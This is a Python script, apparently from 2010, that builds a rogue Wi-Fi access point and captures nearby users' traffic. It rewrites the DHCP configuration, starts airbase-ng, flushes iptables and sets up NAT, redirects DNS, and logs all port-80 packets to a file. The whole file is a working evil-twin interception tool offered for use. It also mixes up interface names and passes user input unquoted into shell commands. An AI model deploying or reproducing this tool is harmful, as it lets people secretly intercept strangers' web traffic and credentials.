AP-Sniff

#############################################################################

#   Automatically create a fake access point and the next           #

#   sniffing on the AP specially created                    #

#   Copyright (C) 2010  by Andrea Possemato                 #

#   <andrea.possemato@gmail.com                     #

#                                       #

#    This program is free software: you can redistribute it and/or modify   #

#    it under the terms of the GNU General Public License as published by   #

#    the Free Software Foundation, either version 3 of the License, or      #

#    (at your option) any later version.                    #

#                                       #

#    This program is distributed in the hope that it will be useful,        #

#    but WITHOUT ANY WARRANTY; without even the implied warranty of         #

#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the          #

#    GNU General Public License for more details.                           #

#                                       #

#    You should have received a copy of the GNU General Public License      #

#    along with this program.  If not, see <http://www.gnu.org/licenses/>.  #

#    This script will create a fake access point and then make a            #

#    packet-sniffing on it.                                                 #

#    To run this scirpt you must have these software installed on your PC:  #

#                                       #

#   1) airbase-ng                               #

#   2) airmon-ng                                #

#############################################################################



import os

import pcapy

from impacket.ImpactDecoder import *



channel_name = raw_input('Inserisci il nome del canale:')

channel_number = raw_input('Inserisci il numero del canale:')



dnsfile = open('/etc/dhcp3/dhcpd.conf','w')

dnsfile.write('ddns-update-style ad-hoc;\n')

dnsfile.write('default-lease-time 600;\n')

dnsfile.write('max-lease-time 7200;\n')

dnsfile.write('subnet 192.168.2.128 netmask 255.255.255.128 {\n')

dnsfile.write('option subnet-mask 255.255.255.128;\n')

dnsfile.write('option broadcast-address 192.168.2.255;\n')

dnsfile.write('option routers 192.168.2.129;\n')

dnsfile.write('option domain-name-servers 4.2.2.2;\n')

dnsfile.write('range 192.168.2.130 192.168.2.140;}\n')

dnsfile.close()



cmd_airbase = "airbase-ng -e"+channel_name+" -c"+channel_number+" mon0"

airmon_start = os.popen('airmon-ng')

airmon_start = os.popen('airmon-ng start wlan0')

airbase = os.popen(cmd_airbase)

airbase = os.popen(cmd_airbase)



ifconfig = os.popen('ifconfig ath0 up')

ifconfig = os.popen('ifconfig ath0 192.168.2.129 netmask 255.255.255.128')

ifconfig = os.popen('route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129')



dhcp_start = os.popen('mkdir -p /var/run/dhcpd')

dhcp_start = os.popen('dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0')



iptables = os.popen('iptables --flush')

iptables = os.popen('iptables --table nat --flush')

iptables = os.popen('iptables --delete-chain')

iptables = os.popen('iptables --table nat --delete-chain')

iptables = os.popen('echo 1 > /proc/sys/net/ipv4/ip_forward')

iptables = os.popen('iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE')

iptables = os.popen('iptables --append FORWARD --in-interface at0 -j ACCEPT')

iptables = os.popen('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1')





print('Access Point creato\n')

print('Sniffing in esecuzione: salvataggio pacchetti in log.dat\n')



logfile = open('log.dat','w')

def recieved_packet(hdr, data):

    packet = EthDecoder().decode(data)

    print >> logfile, packet

interface = 'wlan0'

packet_buffer = 1024

pm = True

end_time = -1

snif_packet = pcapy.open_live(interface, packet_buffer, pm, end_time)

snif_packet.setfilter('port 80')

packet_limit = -1

snif_packet.loop(packet_limit, recieved_packet)

logfile.close()